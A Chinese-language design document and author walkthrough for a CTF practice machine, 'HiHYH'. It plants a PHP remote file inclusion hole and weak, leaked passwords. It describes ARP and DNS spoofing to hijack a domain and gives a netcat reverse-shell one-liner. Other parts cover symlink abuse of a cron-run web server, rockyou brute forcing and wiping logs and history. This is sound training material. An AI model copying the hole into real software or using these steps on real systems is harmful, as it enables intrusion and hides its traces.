MazeSec HiHYH 靶机设计流程
Hi 系列靶机第二台!HYH,respect!
靶机设计灵感
1、ftp 服务给匿名用户访问本次靶机的 respect 用户 HYH motto 信息,以及一个仅有 hyh 用户可读的文件。
2、web 入口设计一处远程文件包含漏洞,需选手劫持指定域名 hyh.maze-sec.com,解析到攻击机,完成恶意文件包含。(域名的设计上再次 respect HYH 以及团队 maze-sec)。
3、定时任务设计为每分钟执行一次,监听 8080 端口,超时时间为 20 秒,选手需要监控定时任务的执行情况,抓取到该命令。
4、由于 /var/tmp 目录具有粘滞位,选手需要在 /var/tmp 目录下创建一个子目录,在该子目录下创建一个软链接,指向 ftp 目录下的文件,利用定时任务暴露出来,读取 pass.txt 文件内容。
5、ftp 的 pass.txt 文件内容设计为 hyh 用户的密码,以及一个爆破提示,提示信息为 ^ma....$,是 ll104567 用户密码提示。
6、ll104567 用户属于 sudo 组,同时靶机为 debian 系,默认启用 sudo 组,sudo 组用户在已知密码时可以执行任意命令,导向选手爆破 ll104567 用户的密码,从rockyou.txt 中提取匹配的密码进行爆破。
修改主机名
hostnamectl set-hostname HiHYH
cat >/etc/hosts <<EOF
127.0.0.1 localhost
127.0.1.1 HiHYH
::1 localhost ip6-localhost ip6-loopback
EOF
创建用户并修改密码
移除默认用户 welcome
deluser --remove-home welcome
创建 hyh 用户,并将密码设置为 HYH4Rly9UF3vwJq+xK1F53JYaMM,添加到 hyh 组中,使用 bash 作为默认 shell,用户主目录为 /home/hyh。
groupadd hyh
useradd -m -g hyh -s /bin/bash hyh
echo "hyh:HYH4Rly9UF3vwJq+xK1F53JYaMM" | chpasswd
创建 ll104567 用户,加入 sudo 组,使用 bash 作为默认 shell,用户主目录为 /home/ll104567。
主要考虑到在 debian系,sudo 组默认存在,并且启用 %sudo ALL=(ALL:ALL) ALL
useradd -m -s /bin/bash ll104567
echo "ll104567:mazell" | chpasswd
usermod -aG sudo ll104567
修改 root 密码
echo "root:UGHYx1dc8AOtvJ3LMndL0QBg" | chpasswd
安装 ftp 服务
使用 apt 包管理器安装 vsftpd,并启动服务,设置开机自启。
apt update
apt install -y vsftpd
查看 /etc/vsftpd.conf 文件,默认配置如下:
root@moban:~# cat /etc/vsftpd.conf | grep -vE '^#' | grep '.'
listen=NO
listen_ipv6=YES
anonymous_enable=NO
local_enable=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO
查看 passwd 文件 ftp 用户的默认家目录
cat /etc/passwd | grep ftp
ftp:x:106:113:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
创建 ftp 目录,默认是 ftp 用户,并设置权限。
mkdir -p /srv/ftp/pub
chown root:root /srv/ftp
chmod 755 /srv/ftp
chown root:root /srv/ftp/pub
chmod 755 /srv/ftp/pub
修改配置文件,允许匿名访问。
cat > /etc/vsftpd.conf <<'EOF'
listen=YES
listen_ipv6=NO
anonymous_enable=YES
local_enable=NO
write_enable=NO
anon_root=/srv/ftp
anon_world_readable_only=YES
pasv_enable=YES
pasv_min_port=30000
pasv_max_port=30010
EOF
启动并设置开机自启
systemctl restart vsftpd
systemctl enable vsftpd
ftp 关键文件
在 /srv/ftp/pub 目录下创建两个文件:
cat > /srv/ftp/pub/motto.txt <<'EOF'
失去的终究会失去吧,想念的终究会相遇吧。
What you lose will eventually be lost, and what you miss will eventually meet.
EOF
cat > /srv/ftp/pub/pass.txt <<'EOF'
hyh:HYH4Rly9UF3vwJq+xK1F53JYaMM
hint:^ma....$
EOF
chmod 644 /srv/ftp/pub/motto.txt
chown hyh:hyh /srv/ftp/pub/pass.txt
chmod 600 /srv/ftp/pub/pass.txt
web 入口
在 /var/www/html 目录下创建 index.php 文件,内容如下:
<?php
highlight_file(__FILE__);
@include"http://hyh.maze-sec.com/";
使用 php 配置文件 /etc/php/8.3/apache2/php.ini,允许远程文件包含(RFI)。
allow_url_include=On
allow_url_fopen=On
; disable_functions=
该靶机依赖 tmp 目录,因此建议关闭 apache 的 private tmp 功能。
# 创建目录
mkdir -p /etc/systemd/system/apache2.service.d/
# 直接写入配置
cat > /etc/systemd/system/apache2.service.d/override.conf << 'EOF'
[Service]
PrivateTmp=false
EOF
# 验证文件已创建
cat /etc/systemd/system/apache2.service.d/override.conf
# 重新加载配置
systemctl daemon-reload
# 重启 Apache
systemctl restart apache2
# 验证生效
systemctl show apache2 -p PrivateTmp
重启 apache2 服务使配置生效
systemctl restart apache2
systemctl enable apache2
添加定时任务
添加定时任务,使用 php 内置服务器监听 8080 端口,超时时间为 20 秒。
/etc/cron.d/hyh 文件内容如下:
* * * * * hyh /bin/bash -c '/usr/bin/timeout 20s /usr/bin/python3 -m http.server 8080 --bind 127.0.0.1 --directory /var/tmp'
关于 /var/tmp 目录粘滞位的问题,请参阅:https://lwn.net/Articles/390323/
重启 cron 服务使配置生效
systemctl restart cron
systemctl enable cron
放置flag
echo 'flag{user-3e813e575a6e4b5fb7cf3a479b1ac423}' > /home/hyh/user.txt
echo 'flag{root-a7144840e24342b1a075a4a31405452f}' > /root/root.txt
缓存清理与痕迹擦除
apt clean
rm -rf /var/lib/apt/lists/*
history -c
rm -f /root/.bash_history /home/*/.bash_history
> /var/log/auth.log
> /var/log/syslog
> /var/log/apache2/access.log
> /var/log/apache2/error.log
: > /var/log/wtmp
: > /var/log/btmp
rm -rf /tmp/* /var/tmp/*
爆破可行性验证
┌──(root㉿kali)-[~]
└─# grep -E '^ma....$' rockyou.txt | wc -l
27009
┌──(root㉿kali)-[~]
└─# nl rockyou.txt | grep -E '[0-9]+\s+mazell$'
486798 mazell
┌──(root㉿kali)-[~]
└─# grep -E '^ma....$' rockyou.txt > tmp
┌──(root㉿kali)-[~]
└─# nl tmp | grep -E '[0-9]+\s+mazell$'
3122 mazell
作者测试
端口扫描

ftp 匿名登录

两个文件,pass.txt 仅所有者可读,motto.txt 所有人可读,查看 motto.txt 文件内容

访问 80 端口

dns 欺骗、arp 欺骗,达到劫持 hyh.maze-sec.com 域名的效果,解析到攻击机


原理:
1、ARP欺骗:让受害机“认错”网关
攻击者在局域网内广播伪造的ARP应答,告诉受害机“网关的IP地址(如192.168.6.1)对应的是我的MAC地址”。受害机收到后,会更新自己的ARP缓存,把后续发往网关的流量(包括DNS查询)都发给了攻击机。
2、DNS劫持:在“假网关”上篡改域名解析
攻击机收到受害机的数据包后,不是直接转发给真实网关,而是先检查:如果是DNS请求(目标端口53),就伪造一个DNS应答,把目标域名(如example.com)指向攻击者控制的IP。然后再把受害机的原始DNS请求转发给真实DNS服务器(避免受害机因超时而重试)。
成功,只需要修改攻击机的 index.html 文件内容即可完成恶意文件包含



常规反弹shell
# 靶机
busybox nc 192.168.6.111 4444 -e /bin/bash
# 攻击机
nc -lvnp 4444
下载 pspy64 ,监控定时任务的执行情况,抓取到 hyh 用户每分钟执行一次 python 内置服务器的命令在 /var/tmp 目录下,监听 8080 端口,超时时间为 10 秒。
给 ftp 的 pass.txt 做软链接到 /var/tmp 目录下,利用定时任务的 python3 内置服务器暴露出来,读取 pass.txt 文件内容
需要注意的是,/var/tmp 目录具有粘滞位,直接使用 /var/tmp 目录会失败,新建一个子目录 /var/tmp/test,在该目录下创建软链接,指向 /srv/ftp/pub/pass.txt 文件。
mkdir -p /var/tmp/test
ln -s /srv/ftp/pub/pass.txt /var/tmp/test/pass.txt

拿到 pass.txt 文件内容
hyh:HYH4Rly9UF3vwJq+xK1F53JYaMM
hint:^ma....$
根据正则提示,提取 rockyou.txt 匹配的密码
┌──(root㉿kali)-[~]
└─# grep -E '^ma....$' rockyou.txt | wc -l
27009
┌──(root㉿kali)-[~]
└─# nl rockyou.txt | grep -E '[0-9]+\s+mazell$'
486798 mazell
┌──(root㉿kali)-[~]
└─# grep -E '^ma....$' rockyou.txt > tmp
┌──(root㉿kali)-[~]
└─# nl tmp | grep -E '[0-9]+\s+mazell$'
3122 mazell
爆破 ll104567 用户密码,使用Github su-bruteforce 工具,爆破成功,密码为 mazell,ll104567 属于 sudo 组,debian 系统默认 sudo 组用户在有密码时可以使用 sudo 执行任何命令。
